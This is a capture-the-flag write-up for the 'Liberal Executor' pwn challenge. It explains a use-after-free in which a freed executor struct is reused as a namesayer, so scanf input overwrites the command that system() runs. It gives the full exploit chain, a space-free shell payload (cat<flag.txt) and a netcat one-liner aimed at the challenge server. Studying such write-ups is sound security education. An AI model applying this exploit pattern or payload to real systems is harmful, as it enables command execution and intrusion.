Liberal Executor
Liberal Executor
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: dangling_pointer, scanf_whitespace_bypass, tcache_reuse, type_confusion, use_after_free
Summary
Task: menu-driven heap pwn where free() leaves a dangling global EXECUTOR pointer (UAF). Solution: re-allocate a same-size namesayer struct that reuses the freed chunk, overwrite command[] via scanf into firstName, then execute_command runs system() on the attacker string; spaces bypassed with input redirection cat<flag.txt.
Liberal Executor — spbctf
Description
"Now the Command Executor may be freed!"
nc 109.233.56.90 11727
A menu-driven C heap program. The goal is to make the program call system()
on an attacker-controlled command and read the flag file.
Analysis
The source (mc3.c) defines two structs that both land in the same tcache
bin:
c read-only • copy allowedstruct executor { char command[40]; }; // malloc(40) -> 48B chunk (0x30 bin) struct namesayer { char firstName[16]; char lastName[16]; }; // malloc(32) -> 48B chunk (0x30 bin)
malloc(40) and malloc(32) both round up to a 0x30 (48-byte) chunk, so they
share the 0x30 tcache free list.
The executor is created with a default command and later executed:
c read-only • copy allowedstruct executor * allocate_executor() { struct executor * obj = malloc(sizeof(struct executor)); strcpy(obj->command, "ls -la"); return obj; } void execute_command(struct executor * obj) { system(obj->command); // runs whatever is in command[] }
The vulnerability is in the free path — the global pointer is not cleared:
c read-only • copy allowed} else if (choice[0] == 'f' && EXECUTOR) { free(EXECUTOR); // EXECUTOR still points at the freed chunk printf("Executor freed!\n"); }
This is a classic Use-After-Free / dangling pointer. After freeing the
executor, the chunk goes onto the 0x30 tcache list but EXECUTOR keeps
pointing at it, and the menu still offers x - execute command.
Allocating a namesayer right after the free reuses the very same chunk. The
namesayer.firstName field sits at offset 0 — exactly where
executor.command lives. scanf("%15s", obj->firstName) therefore writes
directly into command[], giving us full control of the string passed to
system().
Type confusion via tcache reuse: the object is freed as an executor and
re-allocated as a namesayer, but EXECUTOR still treats the shared memory as
a command buffer.
checksec: canary=yes, NX=yes, no PIE, partial RELRO — all irrelevant, since
this is a pure logic UAF and no memory-corruption primitive is needed.
Solution
Exploit chain (single menu conversation):
e— allocate executor. Chunk A is created (will go to tcache0x30on free).f— free executor. Chunk A enters the tcache;EXECUTORis now dangling.n— allocate namesayer. It reuses chunk A.scanfintofirstNameoverwritescommand[]with our payload. (lastNamegets a throwaway value.)x—execute_command(EXECUTOR)runssystem(command)with our string.
Whitespace constraint and bypass
firstName is read with scanf("%15s", ...): at most 15 characters and
no whitespace. A naive cat flag.txt is impossible because of the space.
Bypass it with shell input redirection, which requires no spaces:
cat<flag.txt # 12 chars, no whitespace
Final one-liner
bash read-only • copy allowedprintf 'e\nf\nn\ncat<flag.txt\nX\nx\n' | nc 109.233.56.90 11727
Breakdown of the piped input:
e— allocate executorf— free executorn— allocate namesayercat<flag.txt— firstName (becomescommand[])X— lastName (throwaway, any non-whitespace token)x— execute command →system("cat<flag.txt")→ prints the flag